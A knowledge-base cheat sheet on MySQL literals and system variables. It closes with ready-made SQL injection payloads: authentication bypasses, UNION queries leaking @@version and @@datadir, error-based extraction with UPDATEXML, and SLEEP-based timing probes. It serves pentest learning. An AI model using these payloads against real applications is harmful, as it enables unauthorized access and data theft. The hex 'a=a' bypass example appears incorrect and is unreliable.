Constants

MySQL constants and literals useful in SQL injection

Constants

MySQL supports various types of constants (literals) that can be valuable in SQL injection attacks. Understanding these constants helps in crafting more effective payloads and bypassing certain filters.

Numeric Constants

MySQL supports several formats for numeric literals:

TypeExampleNotes
Integer1234Regular integer
Negative Integer-123Negative value
Decimal123.45Decimal point notation
Scientific Notation1.23e2Same as 123.0
Hexadecimal0xFFSame as 255
Binary0b1111Same as 15 (MySQL 5.0.3+)
Booleantrue, falseSame as 1 and 0

String Constants

String literals can be represented in several ways:

TypeExampleNotes
Single Quote'text'Standard SQL string
Double Quote"text"Valid if ANSI_QUOTES SQL mode is disabled
Hex String0x74657874Hexadecimal representation of ‘text’
Binary String_binary'text'Binary string (MySQL 8.0+)

Temporal Constants

Date and time constants:

TypeExampleNotes
Date'2025-03-15'YYYY-MM-DD format
Time'15:30:45'HH:MM:SS format
Datetime'2025-03-15 15:30:45'YYYY-MM-DD HH:MM:SS format
TimestampTIMESTAMP '2025-03-15 15:30:45'ANSI SQL timestamp

Special Constants

MySQL has several special values:

ConstantDescription
NULLRepresents a NULL value
DEFAULTUsed to specify default column value
CURRENT_TIMESTAMPCurrent date and time
CURRENT_DATECurrent date
CURRENT_TIMECurrent time

System Constants

Some important MySQL system constants:

ConstantDescriptionExample Value
@@versionMySQL version8.0.27-0ubuntu0.20.04.1
@@datadirData directory/var/lib/mysql/
@@hostnameServer hostnamedb-server
@@server_idServer ID1
@@basedirBase directory/usr/
@@tmpdirTemporary directory/tmp
@@portMySQL port3306
@@log_errorError log path/var/log/mysql/error.log

Boolean Expressions

Boolean expressions evaluate to 1 or 0:

ExpressionResult
1=11 (true)
1=00 (false)
NULL IS NULL1 (true)
NULL IS NOT NULL0 (false)

Using Constants in SQL Injection

String Constants in Bypasses

-- Standard string
' OR 'a'='a

-- Hex string bypass
' OR 0x613d61 -- (a=a in hex)

-- Mixed approach
' OR 0x61='a' -- (a='a')

Numeric Constants in Bypasses

-- Boolean as number
' OR true -- (same as 1)

-- Hex number
' OR 0x1 -- (same as 1)

-- Mathematical expression
' OR 4-3 -- (evaluates to 1)

Practical Applications

Using Boolean Constants
-- Simple authentication bypass
' OR 1 -- -
' OR true -- -
' OR 1=1 -- -
Using String Constants
-- Hex-encoded bypass
' UNION SELECT 0x61646D696E -- - (selects 'admin')

-- Bypassing quote filters
SELECT CHAR(97, 100, 109, 105, 110) -- 'admin'
Using System Constants
-- Information gathering
' UNION SELECT @@version, @@datadir -- -

-- Path disclosure
' UNION SELECT CONCAT(@@datadir,'/mysql/user.MYD') -- -

Error-Based Injection with Constants

-- Using constants that cause errors
' AND UPDATEXML(1,CONCAT('~',@@version,'~'),1) -- -

-- Causing type conversion errors
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(@@version,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -

Constants in Time-Based Attacks

-- Sleep only if condition is true
' AND IF(SUBSTR(@@version,1,1)='5',SLEEP(5),0) -- -

-- Using hex constants in time-based
' AND IF(SUBSTR(@@version,1,1)=0x35,SLEEP(5),0) -- - (checking for '5')

Limitations and Considerations

  1. Hex string literals are MySQL-specific and may not work in other databases
  2. Some constants like true/false are case-insensitive
  3. String constants are limited to available character encoding
  4. Some system constants require specific privileges to access
  5. Constants behavior can vary across MySQL versions
Back to Knowledge Base